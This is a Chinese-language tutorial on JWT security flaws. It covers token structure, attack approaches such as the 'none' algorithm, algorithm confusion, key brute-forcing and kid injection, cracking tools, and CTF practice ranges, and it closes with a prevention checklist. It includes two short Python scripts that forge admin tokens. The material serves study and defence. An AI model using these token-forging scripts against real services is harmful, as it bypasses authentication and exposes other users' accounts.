JWT漏洞
目录
jwt概念
1、什么是身份认证
Authentication)又称“身份验证”、“鉴权”,是指通过一定的手段,完成对用户身份的确认
2、认证的方式
session+cookie、jwt、token
3、Session认证的局限性
Session认证机制 需要配合Cookie才能实现。由于 Cookie默认不支持跨域访问 ,所以,当涉及到前端跨域请求后端接口的时候,需要做 很多额外的配置,才能实现跨域Session认证。
4、什么是jwt
定义:
JWT(英文全称:JSON Web Token)是一个开放标准(RFC 7519),用于在双方之间安全地表示声明。一种无状态的认证机制,通常用于授权和信息交换。是目前 最流行的跨域认证解决方案。
JWT的格式:
Header
alg
属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ
属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT
。最后,将上面的 JSON 对象使用 Base64URL 算法(详见后文)转成字符串
Payload:
注意,JWT 默认是不加密的,任何人都可以读到,所以不要把秘密信息放在这个部分。
这个 JSON 对象也要使用 Base64URL 算法转成字符串。
Signature 部分是对前两部分的签名,防止数据篡改。
首先,需要指定一个密钥(secret)。这个密钥只有服务器才知道,不能泄露给用户。然后,使用 Header 里面指定的签名算法(默认是 HMAC SHA256),按照下面的公式产生签名
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
算出签名以后,把 Header、Payload、Signature 三个部分拼成一个字符串,每个部分之间用"点"(.
)分隔,就可以返回给用户。
Base64URL
前面提到,Header 和 Payload 串型化的算法是 Base64URL。这个算法跟 Base64 算法基本类似,但有一些小的不同。
JWT 作为一个令牌(token),有些场合可能会放到 URL(比如 api.example.com/?token=xxx)。Base64 有三个字符+
、/
和=
,在 URL 里面有特殊含义,所以要被替换掉:=
被省略、+
替换成-
,/
替换成_
。这就是 Base64URL 算法。
jwt的使用方式:
客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。
此后,客户端每次与服务器通信,都要带上这个 JWT。你可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求的头信息Authorization
字段里面。
Authorization: Bearer <token>
另一种做法是,跨域的时候,JWT 就放在 POST 请求的数据体里面。
jwt漏洞介绍
从安全性的角度来看,至少存在两个潜在的问题。1、缺乏机密性-我们能够轻松解码有效载荷payload(和报头header)。2、用户插入另一个操作(例如删除)并绕过授权
靶场:https://authlab.digi.ninja/Leaky_JWT
具体实现方式
1、算法为none2、算法修改3、签名失败问题4、暴力破解5、密钥泄露6、令牌刷新
攻击思路:
首先找到需要JWT鉴权后才能访问的页面,如个人资料页面,将该请求包重放测试:
1)未授权访问:删除Token后仍然可以正常响应对应页面
2)敏感信息泄露:通过JWt.io解密出Payload后查看其中是否包含敏感信息,如弱加密的密码等
3)破解密钥+越权访问:通过JWT.io解密出Payload部分内容,通过空加密算法或密钥爆破等方式实现重新签发Token并修改Payload部分内容,重放请求包,观察响应包是否能够越权查看其他用户资料
4)检查Token时效性:解密查看payload中是否有exp字段键值对(Token过期时间),等待过期时间后再次使用该Token发送请求,若正常响应则存在Token不过期
5)通过页面回显进行探测:如修改Payload中键值对后页面报错信息是否存在注入,payload中kid字段的目录遍历问题与sql注入问题
jwt利用工具
1、jwt_tool(git clone https://github.com/ticarpi/jwt_tool)可以用来验证、伪造和破解JWT令牌。
2、jwt-cracker该工具仅限于单一的签名算法(HS256) ,如果提供了不同的签名算法,则无法进行操作https://github.com/lmammino/jwt-cracker
3、c-jwt-cracker同样是暴力破解 JWT 私钥的工具。https://github.com/brendan-rius/c-jwt-cracker
CTF实战
一些实战平台:
CTFctfhub:https://www.ctfhub.comctfshow:https://ctf.show/…
在线平台:https://authlab.digi.ninja/
搭建平台:WebGoat 靶场:https://zhuanlan.zhihu.com/p/487290774
小经验:
基本步骤:
1.用bp抓包,找到登录中含有jwt的包(可用jwt插件标记颜色的)找,拿取登录后的response中的token
2.用jwt_tools等工具先进行破解得到用户信息再用脚本进行篡改等操作
3.把篡改后的jwt(标准格式)用repeater模块重新发送得到flag
改:
1.以特殊的身份如admin,再将签名算法改为none
way1:用JWT官网实现
way2:用python脚本如下(可能win上python的jwt模块可能会一直报错,用kali可以!)
import jwt
encoded=jwt.encode({"username":"admin","password":"admin","role":"admin"},'',algorithm='none')
print(encoded)
2.修改签名算法,更改非对称加密算法如rs256前提是要有公钥
修改签名算法脚本:
#coding=utf-8
import hmac
import hashlib
import base64
file = open('publickey.pem') #需要将文中的publickey下载 与脚本同目录
key = file.read()
#Paste your header and payload here
header = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'
#Creating encoded header
encodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")
#Creating encoded payload
encodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")
#Concatenating header and payload
token = (encodeHeader + "." + encodePayload)
#Creating signature
sig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")
print(token + "." + sig)
预防
1、使用适当的复杂对称/非对称密钥。2、编写一个方案以防万一密钥泄露。3、将密钥放在安全的地方4、理想情况下,不允许发送方设置任意签名算法
6、检查实现是否不接受无签名算法。7、检查实现是否不接受空签名(即未选中签名)。8、如果使用JWE,请检查是否在使用安全算法以及这些算法的安全实现。9、区分verify()和decode()
10、检查在一个地方生成的令牌是否不能在另一个地方使用以获取未经授权的访问。11、检查调试模式是否已关闭,并且不能通过简单的技巧将其激活。12、避免在URL中发送令牌。
13.检查是否在JWS有效负载中放置了机密信息。14、确保免受重放攻击。15、确保令牌具有足够短的有效期。16、确保已实际检查“ exp”。考虑是否需要使特定令牌无效